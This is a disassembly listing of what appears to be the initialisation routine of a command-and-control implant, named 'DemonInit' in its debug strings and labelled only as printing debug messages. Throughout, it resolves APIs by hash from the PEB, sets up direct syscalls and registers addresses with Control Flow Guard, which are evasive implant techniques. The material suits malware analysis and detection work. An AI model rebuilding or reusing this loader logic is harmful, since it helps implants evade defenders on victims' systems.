Function at 0x140010780
Capabilities:
Print debug messages

Disassembly:
push r13
xor eax, eax
lea r13, str._DEBUG::_s::_d___s_n
lea r9, str.TRANSPORT_HTTP
push r12
lea r12, str.DemonInit
mov r8d, 0x122
push rbp
mov rbp, rdx
push rdi
push rsi
lea rsi, sym.RtAdvapi32
push rbx
mov rbx, rcx
mov ecx, 0x47
sub rsp, 0x1a8
lea rdi, [rsp + 0x84]
rep stosd dword [rdi], eax
mov rax, qword [0x140026448]
lea rdi, [rsp + 0x28]
mov ecx, 0x16
mov rdx, qword gs:[0x30]
rep movsd dword [rdi], dword [rsi]
mov qword [rax + 0x8c2], rdx
mov rcx, r13
mov rdx, r12
call sym.printf.constprop.0_7
mov rsi, qword [0x140026448]
mov ecx, 0x70e61753
call sym.LdrModulePeb
mov qword [rsi + 0x84a], rax
test rax, rax
je 0x140010f59
mov rax, qword [0x140026448]
mov edx, 0xfce76bb6
lea rdi, [rsp + 0x28]
mov rcx, qword [rax + 0x84a]
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x138], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x9e456a43
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x130], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x3be94c5a
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x140], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xaf740371
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x148], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x73a9e4d7
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x150], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x2f6db5e8
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x170], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x57c72f
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x178], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x7f1224f5
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x158], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x39d7c890
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x160], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xdde5cdd
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x168], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x50ef3c31
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x198], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x1877faec
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x180], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xae92028e
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x190], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x600fe691
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x188], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xeec188b0
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1a0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xeba8d910
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1a8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x2df06c89
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1b0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xad1b018e
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1b8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x5b56b302
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1c0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x40d6e69d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1c8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x28d3233d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x238], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xcb87d8b5
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1d0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xc3c03f1
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1d8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x946ac239
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1e0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xa410fb9e
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1e8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x4b82f718
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x208], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x4ed9dd4f
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x200], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x8cdc5dc2
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x260], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x7bc23928
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x268], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xf783b8ec
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x280], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xa6664b8
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x220], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x968e0cb1
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1f0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x803347d2
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x1f8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x5a4bc3d0
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x230], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xe43d93e1
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x228], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x28d3233d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x238], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x4441d859
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x248], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x6d22f884
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x250], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xffa0bf10
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x258], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xe8ac0c3c
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x270], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x5ba11e28
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2c0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x78983aed
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2c8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x858a32df
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x278], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xaf18cfb0
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x240], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x350dca99
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x210], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x8e160b23
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x218], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x50e92888
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2a8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xccf58808
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2b0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xc3170192
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x288], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xfc3a6c2c
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2b8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xa3288103
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x290], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x2802c609
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x298], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x6aa412cd
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2a0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0x10c0e85d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2d0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xf371fe4
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2d8], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xf5a0461b
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2e0], rax
mov rcx, qword [rdx + 0x84a]
mov edx, 0xc85dc9b4
call sym.LdrFunctionAddr
mov rsi, qword [0x140026448]
mov edx, 0x70c25cd8
mov qword [rsi + 0x2e8], rax
mov rcx, qword [rsi + 0x84a]
call sym.LdrFunctionAddr
lea rcx, [rsp + 0x84]
mov dword [rsp + 0x84], 0x11c
mov qword [rsi + 0x2f0], rax
mov rax, qword [0x140026448]
mov dword [rax + 0x5c], 0
call qword [rax + 0x168]
mov rdx, qword [0x140026448]
test eax, eax
jns 0x140010f6b
jmp 0x140011023
lea r9, str.Failed_to_load_ntdll_from_PEB
mov r8d, 0x16c
jmp 0x140011846
mov eax, dword [rsp + 0x88]
cmp eax, 4
jbe 0x140011023
cmp eax, 5
jne 0x140010f9a
cmp dword [rsp + 0x8c], 1
jne 0x140011023
mov dword [rdx + 0x5c], 1
jmp 0x140011023
cmp eax, 6
jne 0x140011001
mov ecx, dword [rsp + 0x8c]
test ecx, ecx
jne 0x140010fbc
xor eax, eax
cmp byte [rsp + 0x19e], 1
setne al
add eax, 2
jmp 0x140011020
cmp ecx, 1
jne 0x140010fd3
cmp byte [rsp + 0x19e], 1
mov ecx, 4
cmove eax, ecx
jmp 0x140011020
cmp ecx, 2
jne 0x140010fea
xor eax, eax
cmp byte [rsp + 0x19e], 1
sete al
add eax, 7
jmp 0x140011020
cmp ecx, 3
jne 0x140011023
xor eax, eax
cmp byte [rsp + 0x19e], 1
setne al
add eax, 8
jmp 0x140011020
cmp eax, 0xa
jne 0x140011023
cmp dword [rsp + 0x8c], 0
jne 0x140011023
cmp byte [rsp + 0x19e], 1
mov ecx, 0xb
cmovne eax, ecx
mov dword [rdx + 0x5c], eax
mov r9d, dword [rdx + 0x5c]
mov r8d, 0x189
mov rdx, r12
lea rcx, str._DEBUG::_s::_d__OSVersion:__d_n
call sym.DbgPrint
mov rsi, qword [0x140026448]
mov ecx, 0xadd31df0
call sym.LdrModulePeb
mov qword [rsi + 0x852], rax
test rax, rax
je 0x1400117e6
mov rax, qword [0x140026448]
mov edx, 0xb7072ff1
mov rcx, qword [rax + 0x852]
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x2f8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x5b6b908a
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3e0], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xe857500d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x328], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x72073b5b
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3a8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x1c44e892
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3b8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x32030e92
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3b0], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x252b157d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x300], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xf37ac035
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x308], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xb06fa1a8
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x310], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x43f6e75f
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x318], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x9694e9e7
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x390], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xfbaf90cf
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3c0], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xa6a2249d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x338], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x687d2110
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x330], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x7b813820
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x340], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x60afc95d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x348], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xa05e2a83
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x350], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x11b30049
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x5e8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x7b94a3fe
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x5f8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x84d15061
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x398], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x5775bd54
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x320], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x512e1b97
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x6a8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xec725c53
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3a0], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xa7c5fd39
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3c8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x538852b2
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3d0], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xf3c179ad
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3d8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xd139cc66
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x5e0], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x14fc3cc2
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x5f0], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x99beb7a0
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x600], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x3c2fba83
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x670], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xa4e66f3a
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x678], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xc2c4270
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x680], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x9ab85b1c
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x690], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xe620bba8
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x698], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x50ac3c84
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x358], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xd5312e5d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x360], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x342bd542
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x368], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xf1d207d0
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x370], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x436e4c62
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x378], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x4ad9b11c
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x380], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x3d54a9f4
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3e8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xf30aab23
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x428], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xf67b31a5
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3f0], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x3626633c
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x3f8], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x42ade43c
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x430], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x7a047cab
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x438], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x77b0aa6a
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x440], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xb6af709f
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x408], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x99bee22f
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x400], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xb717be65
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x410], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x39e8f317
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x460], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xd356ecf0
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x468], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xcf2ad680
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x448], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x40750b38
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x450], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xc993b9c
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x458], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0xd908e1d8
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x470], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x7a14b61c
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x478], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x71842fbf
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x480], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x95f45a6c
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x488], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x3f9eed0d
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x490], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x271da464
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x498], rax
mov rcx, qword [rdx + 0x852]
mov edx, 0x47886698
call sym.LdrFunctionAddr
mov rdx, qword [0x140026448]
mov qword [rdx + 0x4a0], rax
call sym.DemonConfig
mov rax, qword [0x140026448]
cmp dword [rax + 0xde], 0
je 0x140011823
mov rcx, qword [rax + 0x84a]
call sym.SysInitialize
test eax, eax
jne 0x140011823
lea r9, str.Failed_to_Initialize_syscalls
mov r8d, 0x1d6
mov rdx, r12
mov rcx, r13
call sym.printf.constprop.0_7
mov edx, 0xb
mov rcx, rdi
xor esi, esi
call sym.ShuffleArray
call qword [rdi + rsi*8]
test eax, eax
jne 0x140011856
lea r9, str.Failed_to_load_a_module
mov r8d, 0x1e3
mov rdx, r12
mov rcx, r13
call sym.printf.constprop.0_7
jmp 0x140011aa3
inc rsi
cmp rsi, 0xb
jne 0x140011832
mov rsi, qword [0x140026448]
test rbp, rbp
jne 0x14001189a
mov qword [rsi + 0x2c], rbx
test rbx, rbx
jne 0x14001187f
xor ecx, ecx
call sym.LdrModulePeb
mov qword [rsi + 0x2c], rax
mov rdx, qword [0x140026448]
mov rax, qword [rdx + 0x2c]
test rax, rax
je 0x14001189a
movsxd rcx, dword [rax + 0x3c]
mov eax, dword [rax + rcx + 0x50]
mov dword [rdx + 0x34], eax
mov rbx, qword [0x140026448]
mov rax, qword [rbx + 0x8c2]
mov dword [rbx + 0x58], 0x90009
mov rdx, qword [rax + 0x40]
mov rax, qword [rax + 0x48]
mov dword [rbx + 0x48], 0
mov dword [rbx + 0x4c], edx
mov dword [rbx + 0x50], eax
call sym.RandomNumber32
mov dword [rbx + 0x44], eax
mov rax, qword [0x140026448]
mov qword [rax + 0x120], 0
mov qword [rax + 0x128], 0
mov qword [rax + 0x8ee], 0
mov dword [rax + 0x8fe], 0
mov qword [rax + 0x90a], 0
mov qword [rax + 0x912], 0
mov qword [rax + 0x922], 0
mov qword [rax + 0x93a], 0
mov qword [rax + 0x8ce], 0
mov qword [rax + 0x8e6], 0
call sym.CfgQueryEnforced
test eax, eax
je 0x140011a83
lea r9, str.Adding_required_function_module_addresses_to_the_cfg_list
mov r8d, 0x226
mov rdx, r12
mov rcx, r13
call sym.printf.constprop.0_7
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x2b8]
mov rcx, qword [rax + 0x84a]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x258]
mov rcx, qword [rax + 0x84a]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x250]
mov rcx, qword [rax + 0x84a]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x568]
mov rcx, qword [rax + 0x85a]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x6a8]
mov rcx, qword [rax + 0x852]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x328]
mov rcx, qword [rax + 0x852]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x1d0]
mov rcx, qword [rax + 0x84a]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x278]
mov rcx, qword [rax + 0x84a]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x270]
mov rcx, qword [rax + 0x84a]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x2a8]
mov rcx, qword [rax + 0x84a]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov rdx, qword [rax + 0x170]
mov rcx, qword [rax + 0x84a]
call sym.CfgAddressAdd
mov rax, qword [0x140026448]
mov r8d, 0x23a
mov rdx, r12
lea rcx, str._DEBUG::_s::_d__Instance_DemonID____x_n
mov r9d, dword [rax + 0x44]
call sym.DbgPrint
add rsp, 0x1a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret